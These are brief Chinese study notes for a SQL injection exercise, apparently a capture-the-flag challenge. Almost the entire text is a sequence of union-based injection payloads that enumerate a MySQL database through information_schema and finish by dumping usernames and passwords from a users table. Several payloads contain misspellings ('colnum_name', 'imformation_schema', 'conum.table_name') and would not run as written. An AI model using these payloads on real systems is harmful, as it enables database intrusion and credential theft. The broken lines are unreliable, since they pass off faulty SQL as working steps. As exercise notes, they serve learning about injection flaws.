SQL注入题1

service mysql start;

mysql -u root -q;
use mysql;
show databases;

id=1 order by 3 判断列数

id =-1 union select 1,2,3 判断出现位数
id=-1 union select 1,user(),database() 查询数据库名
id=-1 union select 1,(select table_name from information_schema.tables where table_schema = 'challenge'),3   从‘challenge’数据库中查询表名
id=-1 union select 1,(select colnum_name from information_schema.colnum where table_schema='challenge' and table_name = table_name),3   从‘challenge’数据库，表名为table_name中的数据库中查询字段名
id=-1 union select 1,(select colnum_name from conum.table_name),3
/id=-1 union select table_name from imformation_schema.tables where table_schema ='challenge'
id=-1 union select 1,(select group_concat(table_name)from imformation_schema.tables where table_schema ='challenge'),3
id=-1 union select 1,(select group_concat(concat(username,0x7e,password))from challenge.users),3
union 联合查询；
group_concat 结果变成行；
concat(0x7e) 加入分割符；